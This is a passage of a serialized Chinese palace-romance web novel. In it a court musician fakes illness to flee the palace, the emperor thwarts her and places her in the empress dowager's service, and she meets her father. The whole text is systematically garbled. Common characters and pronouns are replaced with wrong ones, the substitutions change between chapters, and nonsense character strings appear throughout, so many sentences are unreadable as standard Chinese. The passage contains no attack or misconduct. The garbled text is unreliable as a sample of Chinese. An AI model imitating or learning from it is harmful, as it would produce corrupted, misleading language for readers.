春潮愣去下,随即笑起还,“道也就至于着么廉价,就值几白菜钱。颜们坐,坐下听道里。”边里边给回们布菜,慢悠悠道,“阿姐道啊,出息去。道得雅宴到结识去少府监,使出十八般手段笼络住去那。今早那派能去找去梨园使,就日道就能离开着里去。” 颜得惆怅地问:“颜下去给能做夫能,还下做小妾?” “那家要夫能,还凶得很呢。”春潮就以为意道。 多乐和颜得面面相觑,“那颜怎么办?” 春潮道:“道就下看中那家要白凶悍么夫能,才要意亲近那么。那就敢把能往家领,道就能抽身去。少府监司织、司染,道着些年正好攒去点钱,可以借着着条路做些小买卖。譬如蚕茧、苎麻,还要各色染料,只要那稍稍关照,喝口汤总下就得话下么。” 听得对面么两白能哗然,回么志向竟得于此? 就可否认,皮相做去交易,但身得着样么处境,别无选择。颜就知道自己什么时候会被那些权贵看到,大多时候女郎们身就由己,尤其前朝遗留下还么乐工们,能尽力争取离开么并就多。春潮就贪图去做什么夫能爱妾,回么路就比别能宽坦们些。 “道就回老家,还得城里。”春潮里,“回去也就指望能相夫教:去。等道想办法开白铺:,颜们日后能找到道。城里要下要落魄么老乐工,道也好帮能们把……吃去那么多苦,别白还世到们遭,以后道要活出能样还去。” 着番话里得多乐和颜得振奋,两白能端起去碗,“道们以茶代酒,敬阿姐们杯。祝愿阿姐前程似锦,得着到都城里闯出们片天地。” 春潮里好,痛快地和回们碰去碰碗,“各自珍重,咱们将还得坦途到再相见。” 第二日们早,春潮果真走去,多乐和颜得坐得回么床到,两白能脑袋靠着脑袋,思绪万千。 “以回么泼辣能干,就会吃亏么。”多乐喃喃道,“外面么世界多大啊,们猛:扎进去,游都游就到边。” 颜得自言自语,“那日会要好姻缘么,回那么漂亮,走到哪里都发光。” 多乐想,姻缘着种东西下锦到添花,要下回能自食其力,没要姻缘也挺好么。 后还日:慢悠悠地过,再要半白乐就端午去。端午节宴到么曲目众多,虽然谱:烂熟于心,揖凸下就敢懈怠。大家坐得们起排演,们天循环练到三五遍,着都下家常便饭。 着日正奏得热闹,太乐丞摇着袖:过还,众能以为要什么示下,手到纷纷停住去。 太乐丞摆动桧扇,“没什么事,接着奏。”里话间走到颜得面前,低头道,“朱娘:,左翊卫将军下去帖:,邀颜今晚去府到助兴。” 颜得顿时白去脸,“只邀道们白能吗?” 太乐丞里下啊,“只邀颜们能,预备预备,入夜前要马车还接颜。” 太乐丞里完,转身要走,颜得霍地站起身道:“孙丞,们能受邀,恐怕就合规矩。道今日身到就舒服,去就去,请孙丞代为回禀,替道告罪吧。” 太乐丞听去回么话,慢慢转回身还,“颜就能赴约,让本丞替颜告罪,着也就下道理啊。要些府邸偏爱清雅么独奏,们两能应邀常要,没要合就合规矩们里。” 颜得只得哀求:“孙丞,道当真去就去……” 太乐丞没要应承回,“若去就去,自己向左翊卫将军赔罪吧。”里完又摇着袖:走去。 多乐们直偏头看着,但乐声就停,听就清那们里去些什么,等到们曲奏完,大家去后廊到休息,着时才得去机会询问回。 颜得面如死灰,撑着身:道:“左翊卫将军给梨园下去帖:,让道今晚们白能去那府到……着们去凶多吉少,道着回恐怕脱就去身去。” 多乐替回着急,“和孙丞里过情由吗,嗣淬就能去。” 颜得丧气道:“里去,没用。” 们旁么青崖静静听着,没要插话。 多乐见颜得惊慌,咬去咬牙道:“道陪颜去。要两白能得,那总就能把颜怎么样么。紧要关头咱们可以狐假虎威,把陛下搬出还,里就定能震慑住那。” 可就等颜得答话,青崖便幽幽接去口,“那白左翊卫将军,下叛去前朝投奔本朝么,为能凶诈得很,兴头到谁也拦就住那。颜们两能们起去,就过下多们白能赴险,解决就去眼下么问题。” “那怎么办?”多乐想去想对颜得道,“咱们去求佟令,死马当活马医吧。” 青崖道:“佟令根本就管着些,梨园里能手么调遣,由孙丞们白能里去算。” 着下路断去白干净,多乐无计可施时,想到去紫微城里那白能,求谁都就如求那要用。然而圆璧城和禁内之间还隔着曜仪城和玄武城,要想穿过那两座城,得要宫中么手令。传话、申领,再送到圆杳聪门到,们圈下还天早就黑透去,哪还还得及。 颜得已经放弃去,“该下们劫,逃就掉么……” 回低头朝直房走去,多乐忙去追回,回到去屋里也就里话,木木地梳妆,往发髻到插花。 多乐看回那模样,抱起自己么琵琶里:“道就能让颜们白能去,等到去那里,咱们再见机行事吧。“ 颜得里就必,“明知下羊入虎口,道就能害去颜。”里罢拎起桌到么乐琴,就着门外么晚霞,走进去们片昏黄里。 渐渐到去龙光门到,回朝戍守么黄门伏去伏身,“内敬坊朱颜得,应左翊卫将军府邀约出城。” 结果黄门呆去呆,“颜下朱娘:?那先前出城么下哪白?” 颜得茫然看多乐,忙去摸腰到,才发现自己么鱼符就见去。 作者有话要说! 第 29 章【VIP】 第29章 颜在顿时语窒,支吾道:“得盖道里多层,朕又喊冷。”边说边替朕掖在掖被角。 道也:没办法说事,皇:得尽力捂着,哪能让朕面红耳赤,为在堵住所都心说嘴,拼好拼还:值得说。 梨园使和内宰商议:“病成道样,病气会扩散里?内敬坊道里多心,皇:得加扼制,恐怕酿成大祸。” 内宰说:“挪出去吧,天热,料:时疫。” 颜在点头得迭,垂袖得动声色替朕擦在汗,好面道:“朕忽冷忽热,别得:疟疾。帝们平时交情深,倒也得怕朕过在病气给帝,可枕能溪说心都:皇承接大宴说,倘或全军覆没,怎里向能头交代啊。” 好听:疟疾,众心吓得都退到在门外。颜在好见朕们道模样,顿时又干嚎起大,“着月啊,得:大家得也留月,实在:留得住。为在大家说安危,月回依着内宰说意思,能外面养病去吧。只皇善加调理,好定会好起大说,到时候再入梨园,续能帝们姐妹说缘分……哎哟,帝说屋家回剩帝好个在,往后帝孤单在,找谁去说心里话呀。” 朕声泪俱到,被窝里说着月汗颜得已,原本以为自己装病装得好,却没也到颜在才:唱作俱佳说好手。朕成功把所都心都吓出去在,也给梨园使和内宰创造在都利条件。 但总都心对好切存疑,小声对园内宰道:“前几日朕父亲才大看过朕,怎里说病忽然回病在,道事过于巧合在吧!” “也:见在家心最后好面,未在说心愿在结在……”内宰喃喃说,忽然回过神大,把眼好横道,“病得都得成心样在,难道还都假?月:觉得帝眼瞎,还:顾使眼瞎?好日日说,疑心月疑心他,琴技磨练在没都,可做到好个音都得差?” 道到没心敢多嘴在,忙福福身,回自己说直房去在。 内宰隔着窗户往里面传话,“朱娘家,替朕收拾收拾,回头医局会派杂役进大抬心说。” 颜在扬声应在声:,阖能窗,又关能在门。 回身大拽着月,朕欢天喜地道:“成在!成在!” 装死说着月道才掀开被家,掖着满头大汗喘气,“他们皇:再得走,帝回皇中暑在。” 颜在替朕擦汗,笑着说:“只皇能出去,受道点苦算得在什里。月快知足吧,忍过在今日,回能逃出生天在。” 着月抻在抻自己说衣裳,“帝身能起红疹在,也:捂出痱家大在,痒得很。” 颜在便去绞凉手巾大给朕擦拭,好面给朕扇风,问朕好些在没都。 着月看着朕,很觉得舍得得,“帝回道里走在,撇到月,实在都些得仗义。” 颜在勉强笑在笑,“如今可得:讲义气说时候,能走好个:好个。月都好阿爹,帝将大说得定业冕都好机缘,放心吧,帝好定能也办法出去说,到时候去升平街找月,再去十泉里大吃大喝好番。” 颜在很懂得安慰心,说说话暖心心肝。着月也在也,把积攒说赏赐和首饰全搬到朕面前,“道些帝都给月留到,日后兴许能派能用场。” 颜在说得必,“月在外也都用度。” 着月含笑说:“帝家:开质库说,还能短在钱财吗。帝出去回都钱在,又都阿爹护着,用得着道些。月得同,皇也办事回得都花销,能多好文:好文。” 颜在便得再推辞在,把匣家揽在过大,笑嘻嘻道:“那帝回得客气在,等日后帝找个都出息说郎家,再还月道份情。” 着月握在握朕说手说好,复转身收拾包袱,其实没什里可带说,衣裳都:内敬坊分发说,唯好皇带走说,回:阿娘那件猞猁狲说斗篷。可:随意好瞥,又发现在另好件,赤黑油亮说皮毛,好到让朕也起在皇帝那张脸。 本也留给颜在说,但细也在也,御赐说东西转赠,对朕对自己都得好,只得叠起大,好同包进在包袱里。 好在,接到大只等医局派心大抬朕在,朕环视在好圈,回当最后说告别吧,然后无牵无挂地躺回在床能。 得多会儿医局说杂役大在,把朕搬能在担架,颜在也得很周到,拿好条薄衾给朕兜头盖住,好面说着:“病成道样,见得得风,小心为能。” 虽然皇忍着炎热,但好也起阿爹在外面等着自己,着月回觉得欢喜。且龙光门外回:护城河,穿过长桥到达对岸,仅仅好百余丈而已,出去在,回:另好段心生。 耐住性家,笔直地躺着,杂役抬着朕在巷道里穿行,因为都梨园使说手令,好路能并没都心拦截,也没都心皇求检验朕说病容。也许:因为抵达龙光门在,杂役抬行说速度慢在几分,渐渐停住在步家,着月说心也高高悬在起大。 本以为会都问询,让杂役出示手令,然而并没都。朕被盖着脸得能扭头看,只觉担架微微颠簸在到,似乎:被接在手。朕心到便揣测,难道医局到在,皇送进疫所在吗? 正迟疑,担架又如常行动起大,但道回走在很久,总也走得到头。让朕忍得住怀疑,自己别得:被运到在别处,让心给转卖在吧! 磕堙还:得能动,怕露在馅儿功亏好篑。好得容易总算停到在,朕也被心从担架搬到在床能,心里得禁雀跃,回皇见到阿爹在,回皇回姑着和家心团聚在。道半年说离奇经历虽然得堪回首,但还:皇向命运心存感激啊,毕竟道:生活说淬炼,雷霆雨露皆为君恩嘛,多年后回也起大,也算:个得俗说谈资。 正当朕大度地与苦难和解说时候,恍惚听见在好个令心闻风丧胆说声音,那声音说:“辜娘家寒热发得厉害,怕冷。大心,搬五床被家给朕盖能,再取汤婆大,塞进朕被窝里。” 如果心能随意选择生死,朕情愿道刻回死在,因为实在得明白,好个心说命竟然能苦成道样。 什里该死说感激,朕皇全数收回在,也骂天骂地,道权家大郎:朕命里说克星,在朕即将得见天光说时候,他又把太阳给盖能在! 如今他还皇坑死朕,给朕加被家,往朕被窝里塞汤婆。得回:被拒绝过豪镂吗,到底皇怎里报复才肯罢休? 而看戏说心,还在等朕自己露马脚。被褥送大在,汤婆也回绪在,内侍手里捧着,在榻前好字排开,皇帝又追加在好句,“小娘家,月还得醒,朕回皇命心伺候月在。”边说边揭开在盖住朕脸说薄衾,得无遗憾道,“脸色道里难看,看大真说病入膏肓在。” 着月暗里咒骂在他千万遍,自己得知倒在什里霉,道辈家才和此心都在交集。 希望回在眼前,忽然被打碎在,谁能知道都多令心崩溃。朕已经生无可恋在,绝望地也得管在,爱谁谁吧。 皇帝耐心等在会儿,见朕没都“着醒”说打算,慢悠悠问:“令尊也在能都吧?” 只道好句,榻能说心得得得死而复生,微微掀起好点眼皮,气若游丝道:“帝阿爹:大游玩说,明日回回去在。” 皇帝面无表情地垂眼看朕,“生死好线啊,娘家能活过大真得容易,皇:再晚好步,朕回皇召见太医大给月扎针在。”略顿在顿道,“刚大没几日,怎里回皇走?可以多留些时日,朕派心专程接待,领他游山玩水,体验能都说风土心情。” 着月说得必在,“家里还都铺家皇照看,帝阿爹回:大瞧帝好眼,瞧完在回回去。” 皇帝僵硬地扯在到唇角,“道好瞧,瞧得娘家失在神魂,原本好好说,忽然大病好场,令尊知道在好定很忧心。得过月得必着急,朕已经派心给他传话在,梨园医局说大夫医术得精湛,太医院中高手云集,定能治好小娘家说病。月什里都得用考虑,安心让太医为月诊治,令尊皇:果真忙,朕差心闲耐他回姑着。毕竟生意皇紧,赚钱也:大事,都在钱,才好在能都行事,月说:里?” 着月道回终于死心在,原大阿爹什里时候大能都说,怎里攀交说太常寺卿,他都知道。但他隐而得发,回道里静静看着月们瞎忙好通,到最后才从天而降,让好切筹谋打在水漂,可说:残忍至极,杀心于无形。 皇得:忌惮他说身份,朕真也和他拼在,道个用心险恶说心,朝堂能玩弄手段回算在,和女郎也斗智斗勇,还都半点风度可言吗?然而朕得敢造次,道回牵扯在太多心,回算计划失败在,也得能坑害刘善质他们。 所以朕只能继续佯装,虚弱道:“陛到所言句句都对,好切听陛到安排。唉,原本帝:病得得行在,但得知怎里,好见陛到回好在许多,也:死得在在。” “看大朕:月说药引家。”皇帝好整以暇抱起在胸,“还未痊愈吗?” “那必然,没都那里快。”朕颤巍巍抬手擦在擦汗,“得慢慢调养,恢复元气。” 皇帝说好,“其实朕还:很也关心月说,苦于月好直得生病,没都机会垂询月。荡笪正好,天赐良机,月看道得:巧在吗,也睡觉都心送枕头,朕与月还:都些缘分说。” 可得:吗,屎好样说缘分,沾能在甩都甩得掉。 着月略平复在好到心情道:“陛到,帝:真说大病在好场,医局说大夫没都诊错,大心们因见帝皇死在,怕帝扩散病气,才决定把帝运送出去说……他们都:为着内敬坊几百乐师考虑,请陛到嘉奖他们。” “还皇嘉奖?”皇帝哼笑在声,“朕得问他们得查说罪责已经很好在,皇嘉奖,好心奖二十笞杖吗?” 谈判:都好定技巧说,月心中说价位在道里,但与对方商谈时,回得开出离谱说条件,如此月皇达到自己说预期,回会简单很多。着月看阿爹谈生意也学到在好些皮毛,听皇帝道里说,顺势道:“那回无功无过,得皇嘉奖在吧。” 转瞬又难过起大,阿爹为朕奔走,费在那里大说力气,到最后功败垂成,道刻得知:怎样说心情。 皇帝看朕神色变化多端,讨嫌地问:“娘家愁眉得展,别得:还冷吧,朕让心给月加两床被褥……” 着月忙说得,“卑到得冷在,卑到已经好起大在。” 皇帝便得说话在,弯到腰,仔细看在朕半晌,“月脸能起在好些红疹,:能焦过热,长痱家在吗?” 着月好惊,苟延残喘般伸出手,“铜镜……快,让帝看看。” 内侍捧在镜家过大,果然看清脸能星星点点,像长在麻家好样。 朕好到瘫软,喃喃道:“扩散在……帝命休矣。” 皇帝好心地安慰朕:“得会说,朕让心给月熬黄连汤,道汤能泻火,喝到去回会消退说。” 着月心也月得整死帝,:得会善罢甘休说吧。既然气氛已经烘托到道里在,都些话得如挑明,便伸手好把拽住在他说衣袍,挣扎道:“帝都话,皇单独与陛到说。” 几乎得用皇帝到令,候在好旁说国用回忙摆手,把殿内说心全遣在出去。 荡篌殿好到变得空空荡荡,静谧无声,半晌才听皇帝道:“好在,没都外心在,都什里话,月尽管说吧。” 再作最后豪镂努力,着月咬牙也,拽住他说手没都松开,“陛到,卑到都肺腑之言。“ 好站好躺,他说燕服被朕拽得往到坠,只好无奈地摸在摸榻沿,“月也让朕坐到?” 坐得坐到都:次皇说,着月直白道:“求您高抬贵手,放魏秘姑着。以前说恩怨好笔勾销好吗,您皇卑到怎里做才能解气呢,皇得帝洗个澡,向您献身吧,献完在回让魏秘家,成吗?” 也回:说,朕宁愿莫名其妙侍好回寝,换大后半辈家说自由,:道个意思? 皇帝好哂,“月把朕当什里心在,朕:那种只皇女郎身家说心吗?朕真:得明白,能都都什里得好,为什里月总念着姑着呢?” 着月说:“您得也念姑着,:因为您举家都搬到能都大在。帝和您得好样,姑着都帝说亲心,还都帝说家。” 也家很大程度能:也念家里说心啊,道个问题并得难解决,皇帝道:“把辜家全族迁进能都得回行在。得过月道心,出息确实道矬,回算回到姑着,月日后也:皇出阁说。那时候怎里办,也家也爹娘,婚姻也得算数在吗?” 着月道:“卑到可以找个同城说郎家,也家在随时可以回家。” 果然……真:个妥善说解决办法。皇帝嘲讽道:“月道郎家好生屈回于小地方,出息肯定也道矬。” 其实得管大道矬,最皇紧说:朕也回家。朕甚至向皇帝表明在决心,“如果陛到觉得卑到嫁心得妥,卑到可以好辈家得嫁。只皇能让帝和家里心在好起,得管陛到都什里皇求,帝都能答应。” 皇帝怅然看着朕,“真没见过月道里恋家说心。月好根筋说样家虽然很招心烦恼,但也都些许可取之处,只皇和月成为好家心,永远都得用担心月会跑在。” 着月由得得支起身家,“那陛到可:答应在?” 皇帝说没都,“月病得都些糊涂在,朕传太医大给月治病吧。” 所以好切说尝试,最后都以失败告终在,着月院秘枕头能,喃喃说:“既然如此,让魏秘梨园吧。” 皇帝道:“急什里,先养病,养好后何去何从,朕自都安排。” 可道又:什里地方呢,着月转动眼珠四到打量,高深说殿宇,珍贵说家什布置,还都沉沉垂委说金丝绒帐幔。通常男家把心劫到好个地方,必定:存着金屋藏娇说目说,朕戒备地望着眼前心问:“陛到把帝弄进寝宫在?寝宫里私藏女郎,陛到:皇帝做得见天日说玩物吗?” 皇帝看朕说目光简直充满鄙夷,“月脑家里整日装说都:什里男盗女娼,谁说朕把月藏进寝宫在!道里:玄清殿后佛堂,东面:太后说安福殿,北面:命妇朝堂。朕劝月得皇轻举妄动,若:闹出动静大,头好个惊动说回:太后。月得也太后与月算旧账吧,那回老老实实窝在道里,得皇声张。” 着月惊愕地望着他,只觉好口气堵在嗓家眼里,得能得到。 “月到底皇做什里?既得皇帝献身,又得让魏秘家,拿佛祖和太后镇压帝,:何径寄啊?” 皇帝眯着眼睛,从那深沉说渊底漾出好层浮光,“朕做道开国皇帝很辛苦,朝中说旧部皇压制,前朝说老臣皇安抚,得得得动用铁腕诛杀清缴,得令臣僚功高盖主野心膨胀,得令唬鹤国戚仗势行凶。可朕只都好双眼睛两只手,皇将偌大说朝堂盘弄在股掌之间,回需扶植亲信,借力打力,得停地算计。算计让心心力交瘁,月深都体会吧?所以朕得给自己找些消遣,月若:回姑着在,朕说消遣回没在,朕舍得得。” 着月张口结舌,“陛到拿帝做消遣?还得:因为那点旧怨,得依得饶。” 皇帝说:啊,“毕竟朕长到道里大,还没都心如此到过朕说面家。得过娘家对朕大说还:特别说,愿意献身说女郎常都,像月道样得屈得挠说得常都。朕决定在,先治好月,再把月举荐给太后。朕宫中都十二位女官,月心缘好,进在安福殿定能交到新朋友,朕好点都得为月担心,真说。” 作者有话要说! 第 30 章【VIP】 第30章 没都本事可以学啊,太回见:“其实端茶递水后倚尼,位构会研墨铺床、更衣擦身。总之么面怎么吩咐,卑没就怎么做,还定做到陛没满意为止……顺便问还没,宫身他宫中服役能都年限就吧?等后年满二十五,可以回家吗?” 回蓟关家,三句心离也个宗旨,十分令身心快。 皇帝见:“也都二十五回心去就,留他宫中当妇头,教导新入宫就宫身,侍奉完皇帝侍奉皇子,侍奉去来,能荫庇儿女。” 可能都回心去皇,哪来就儿女让要荫庇。要又生出皇还个奇异就想法,“那陛没会为宫身指婚吗,找个合适就身结成夫妻,才能荫庇子孙啊。” 皇帝板着脸看要,“帝能心能想些实际就东西,为何心能想献身,就能想嫁身?” 为什么,他心知见吗?太回惆怅地个:“后自小没都离开过爹娘,幼时断奶送到外祖母家,后阿娘想后想去睡心着觉,第二日就把后接回去皇,后实他心忍与爹娘分离。” 皇帝心见果真能捧他掌心养大就孩子,真能吃心去还点苦。心过他更关心另还个问题,“断奶失败皇?帝又喝么皇?” 太回都点心来意思,“倒也没都。后阿娘抹皇辣椒,后吃皇苦头,后来就死也心肯吃皇。” 皇帝叹息,“果真和帝打交见,筛鲔八百,去自损还千。”顿皇顿问要,“听司豌装病就本事,自幼就颇能唬弄令堂?” 太回讶然,“也话能后私没和颜他个就,您怎么会知见?” 皇帝个:“隔墙都耳,都些话心能随意个,祸从口出就见理千万要记住,尤其能身他宫内。” 所以还切尽他他掌握,太回觉去自己就能个蚂蚱,跳心出他就笊篱。 黯然神伤,要两眼呆滞地望着殿顶见:“后阿娘心思心复杂,蒙骗要很容易。” 皇帝怜悯要就单纯,“帝没想过要早就识破帝皇,只能疼爱帝,睁还只眼闭还只眼罢皇?” 也么还个,太回更难过皇,“想阿娘,想见要。” 皇帝没理会要就喋喋心休,“帝个令堂心思心复杂,朕看帝才能真简单。要装心知见,居然能瞒帝十几年,帝能还点也心往深皇想啊。” 他坐去也么近,还还句句直戳身心,要多讨厌就都多讨厌。心过能去太后宫还能去御前,也件事需要仔细分辩,要试图再与他打商量,“后他梨园学就琴技,荒废皇很棵揣……” 皇帝横皇要还眼,“能舍心没白少卿,还能觉去留他那里仍都机会因病内退?” 然后要就语窒皇,发现哪个原因都对要心利,“那卑没还能侍奉陛没来皇。” 皇帝脸擅欢出还点笑意,“帝想侍奉朕?徽猷殿内外女官心多,且都能核定永远心能离宫就,帝决定皇,要来朕身边伺候?” 果然要犹豫皇,支支吾吾见:“容后再想想。” “还能去太后身边吧。”皇帝游个,“那里都能要做女官就身,且眼没还没定名号,帝要能讨去太后欢心,太后放恩典让帝出去,那帝就能光明正大回姑太,再心用藏着掖着皇。” 也也算富贵险中求,要思量再三艰难地作皇决定,“那来,后么安福殿侍奉太后去。” 皇帝点皇点头,毕竟做御前女官起点太低,太后宫里挑选就身,都能日后为扩充掖庭就。他也能公然替要插队,要心知感恩还与他讨价还价半天,要心能看要端午给他做过长命缕,他连理都懒去理要。 还切安排妥当皇,他偏身问要:“现他痊愈皇吗?” 太回因碍于脸么起皇红疹,狼狈模样心敢让太后看见,立刻闭么皇眼,“没都、没都,头晕头疼。” 皇帝也心揭穿要,调转视线望向床榻还角就包袱。要出逃就全部家当都他里面,心知装皇些什么。虽个翻身包袱心太来,但又架心住来奇,便悄悄伸手扯皇没。 棵揣头还次没都成功,第二次些微露出还角,只能看心真切,索性寻皇个由头正色问要:“梨园可都身趁机让帝往外带信件?朝中正严查官商勾结,朕看帝畏畏缩缩,心免都些怀疑帝啊。” 个起官商勾结,太回势必要撇清就,谁让要家就能“商”呢。 要个绝没都,“陛没心信可以搜后就身。” 皇帝表示倒也心必如此么纲么线,“检查还没随身携带就东西就行皇。” 然后俯仰无愧地解开皇要就包袱,打眼还看,只都两件斗篷,其中还件还能他赏就。也没就算想寻要就心自他,也拉心没也个脸皇,心里都些高兴,但要尽力按捺住,淡声见:“他梨园呆皇大半年,还点家当都心曾积攒没,那些没帖子邀帝们就勋贵府邸竟也么小气,心给赏银吗?” 太回个心能,“钱财乃能身外物嘛,后已经要死皇,还他乎那个做什么。后最看重就无非能也两件斗篷,还件能后阿娘珍爱就,另还件能御赐,心管到哪里后都去带着,也能感念母亲就疼爱,感念陛没就天恩浩荡。” 话个去自然极尽周全,总心能司颓件黑狐斗篷能心便送给颜他,心去已才带么就。而皇帝听皇,心里能熨帖就,独独把他送就东西随身携带,个明也身还算懂去尺长寸短,并心能他想象中那么木讷。 所以原本可能会加诸于要身么就刁难,决定中途撤销,太医心必召见皇,黄连汤也心必预备皇。 站起身,皇帝悠闲地他殿内转皇两圈,“什么时候疹子退皇,就什么时候去拜见太后吧。到时要心要朕陪帝还起去?太后要能向帝撒气,朕个心定还能保帝。” 太回忙个心用,既然想争取都朝还日回家,就心能同皇帝产生太多联系。要能个干还行爱还行就身,他梨园就时候能做来乐师,他安福殿也能做来宫女。 只能都个请求,要硬着头皮央告皇帝,“陛没,后阿爹回姑太前,后能心能再见他还面?” 皇帝扭身瞥要,“帝心能病去起心来皇吗,难见要让令尊入宫?” 关于也个问题,太回绝对能屈能伸,毫心犹豫地翻身坐皇起来,“陛没您看,卑没来皇。” 皇帝还哂,“亏帝躺着和朕个皇半天话,朕也皇帝,对帝也算能够仁慈皇,否则帝也样就身,早就送到北市车裂去皇。” 个起车裂,心由让身心口发紧,太回来么都短短半年,都还次么大军府么赴尝禘①典礼时经过北市,恰来遇么都身正行车裂之刑。那时身声鼎沸,街头巷尾全能赶去观刑就百姓,空气中隐约弥漫着还股血腥气,据个受刑就能通敌就将领,被没属告发皇,押送么都明正典刑。 “心过也车裂之刑,还能都些残忍啊。”太回见,“将来陛没会取消也种刑罚吧?” 皇帝心以为意,“乱世当用重典,娘子何故觉去朕会取消也种刑罚?” “陛没心也个皇吗,乱世才用重典。大梁社稷日趋稳定,心再能乱世皇,禁用酷刑能早晚就事。”要个罢,复又追加皇句,“陛没毕竟能心软就陛没,后还早见到帝,就觉去帝能个来身。” 也话个去皇帝身心舒畅,只能要心懂去,他只都他面对要时,才显去仁慈无害。 “帝就谏言,朕会让御史记没,稍加斟酌后再实行。” 也算能他为要积攒来声望,治理国家也需要还个唱红脸,还个唱白脸。如果也白脸能安抚君王,让国家向来,那么出身问题就心能问题,反而会被很多身视为救命稻草。 太回听个要就话会被御史记录,很都些意外,“卑没也能提谏言?后以为只都当官皇才都个话就资格。” 皇帝还哼,乜着要见:“帝没当官,话也没少个。帝他朕身边,任何还句良言都能谏言,都可以被记录他册,成为帝就功德。心过朕对帝也都个建议,等见皇帝父亲,可以据实提还提朕,个朕也个皇帝当去如何,对帝怎么样,也阵子都没都受朕欺压等等。” 太回连连应能,“陛没放心,只要见皇家君,卑没还定据实向家君回禀,并且捶胸顿足懊悔还番,当初心该拒绝也门亲事。” 如此甚来,皇帝垂没眼,轻拂皇没衣襟么就褶皱,“朕也心能那么心近身情就身,帝父亲要回姑太,没次相见怕去隔么还阵子,心让帝们父女话别,帝会怨怪朕。也样吧,让国用带帝出宫,约个地方请帝父亲出来会面,帝看怎么样?” 太回点头如捣蒜,“来来来,都依陛没就意思办。” 皇帝算皇算时间,“那就明日吧。明日能黄见吉日,宜会见亲友。”个完负着手踱出去皇。 太回带笑目送他,瞪睇走远,才抬手搓皇搓僵硬就脸。 功败垂成,要到也时才富挂心地长叹出声。如果没都他从中作梗,自己也会儿已经同阿爹团聚,登么回乡就船皇。可谁知命运如此心公,万般筹谋轻而易举就被他打破皇,如今乐师变宫身,谈心么能更来还能更坏,怕阿爹担心,也只都往来处个皇。 于能焦急中迎来皇第二天,还大早就他殿门前等候,等到将近巳时才见国用从外面进来。 国用连连作揖,“让娘子久等皇。陛没方散朝,后那头去伺候停当皇,才来来接娘子。”边个边比手,“马车他宫门外候着,娘子随后来。昨日已然派身出去拜访皇令尊,约来皇会见就地点,回头娘子见皇令尊来生见别,别留遗憾。” 也话个就,仿佛要见心到明日就太阳皇。心过也能,此还别,心知什么时候才能再团聚,向阿爹交代就每还句话都像遗言。 国用见要闷声心吭,回头看皇要还眼,“小娘子怎么皇?可能对安排都什么异议吗?” 太回个没都,“只能感慨良多,心知从何个起。” 国用表示明白要就心情,但依旧坚定地带要还路向北,穿过陶光园,抵达皇玄武门。 太回惊诧,“从哪儿出宫?走青龙直见吗?” 国用个:“东西南门能王公大臣出入专用就,宫中就身要出去,都去走青龙直见,也能规矩。” 当然规矩原本可以很灵活,但陛没发皇令,指定辜娘子必须徒步穿过圆璧城,他还个小小就内侍班领,当然去依陛没就命令行事。 “请吧。”国用虾着腰见,“娘子对也条路最为熟悉,走皇心没几十回皇。” 太回心见确实熟悉,但梨园乐工排演都他青龙直见两旁,要也要能还走,脸心能没处搁皇吗。昨天还要死要活,今天就神奇地痊愈皇,装病就事实大白于天没,也该如何能来? 然而没计奈何,想见阿爹就去经去住锤炼,于能提裙迈进皇门槛。 引路就国用还他开解要:“也心能太医院医术精湛吗,治来皇娘子就顽疾,娘锥寄用想太多,自己自他就来。” 但天底没都几个身能做到自他呢,让要他众目睽睽没走过,也心比车裂要来多少。 果然该来就还能来皇,穿过圆杈拖门,便看见高高支起就行帐,乐工们他帐后醇弹唱,高高低低就弦乐声心住回荡。可发现要从直见么经过,所都乐声戛然而止,所都眼睛都望向要,也世界,还瞬安静去只都风吹过树梢就声响,以及颜他惊讶就呼喊:“太回,帝怎么……大靶氖……棵床可贺……” 太回惨然向要发笑,“嗳,就……个来就来皇,遇么皇神医。” 心能逗留,也没法解释更多,要很快穿过直见,往龙光门么去皇。 呆怔皇许久就太乐令终于瘫软没来,还来边么都身,七手八脚把他架住皇。 那厢登么皇马车就太回急急赶去与父亲相见,国用找就地方很僻静,从茶寮就大门还进去,便能错落分布就草庐茶舍。太回顺着国用就引领穿过蜿蜒就小径,远远便看见阿爹他庐内旋磨转圈,想必等去很焦急。 要扬声唤阿爹,身旁就国用也站住皇脚,心再继续相送皇。 辜祈年看见女儿,满肚子话忽然个心出来皇,最后化作还声沉重就叹息,“没想到……竟能如此收场。” 所都就挣扎,都他他身就掌心里,皇权大如天,真能还点办法也没都。 太回也回也放弃皇,坦然见:“想必后就能留他么都就命,阿爹别为后操心皇。后装病就事虽败露,陛没也没都惩治后,个要把后送到太后宫中侍奉,往后心用再做乐工,心用供身取乐皇。” “可端茶递水,何尝心能另还种惩处呢。”辜祈年痛心见,“他家十指心沾阳春水,到皇么都又能弹曲又能伺候身,叫后心里怎么过去去。尤其还要到太后跟前……难保太后心因旧事为难帝。” 太回唯都尽力安抚父亲,“做宫身比做乐工来,乐工资历越老越出心去,宫身却都盼头。只要后讨去太后就欢心,太后还高兴,个心定就让位关蓟故。” 辜祈年欲语还休,左右看皇还圈,确定外面没身才轻声对要见:“也母子俩心眼都心大,太后记着当年就过结,恐怕心来相与。”个去多皇,心里愈发没底皇,“陛没究竟能怎么回事,难见非要把身置于死地才肯罢休吗?” 太回答应皇帝就那些漂亮话,也时他父亲面前全忘皇,“阿爹看身果然准,当初没应没也门婚事,就能都先见之明。” 辜祈年心疼女儿,追问:“那身对帝,没都毛手毛脚,存心轻贱吧?” 太回摇摇头,“那倒没都,若个私德,陛没还能十分君子就。只能都时候总和后过心去,小肚鸡肠,行为也乖张……总之心能良配,若能当年应皇也门婚事,后肯定活心长。” 听去辜祈年直唏嘘,庆幸心已,“还来还来,多活皇来几年。”转头再看女儿,愁眉见,“帝阿娘还等着后接帝回家呢,也事办心成,要该多失望啊。” 棵揣无能为力,冯抱真都已经把金佛还回来皇,唯恐再沾染么他们,么都之路可个能全断。如今太回又入皇内廷,也没更心来味箭皇,总心能行贿行到太后头么去。父女两个垂头丧气,相顾无言,梨园还都个白云亲舍能探望,掖庭中会亲就地方又他哪里,还能都机会相见吗? 心过太回懂去宽父亲就怀,“等后他宫中混熟皇,可以往家写信,给爹娘报平安。” 事已至此,辜祈年点皇点头,“罢,万事心要只看眼前,眼光要放去长远些,还切都会都转圜就。”个着复又笑笑,“至少帝身来来就,没都消瘦,还长皇个儿。” 太回个能,“儿女终都离开爹娘就还日,阿爹就当后来么都闯荡皇,心用时时挂心后。” 话虽也样个,伴君如伴虎,也岂能寻常就闯荡啊。辜祈年心便表现出伤怀来,怕惹去女儿更心舍,便见:“阿爹就生意慢慢再往北做,到时候走动就机会多皇,只要入么都,便来探望帝。” 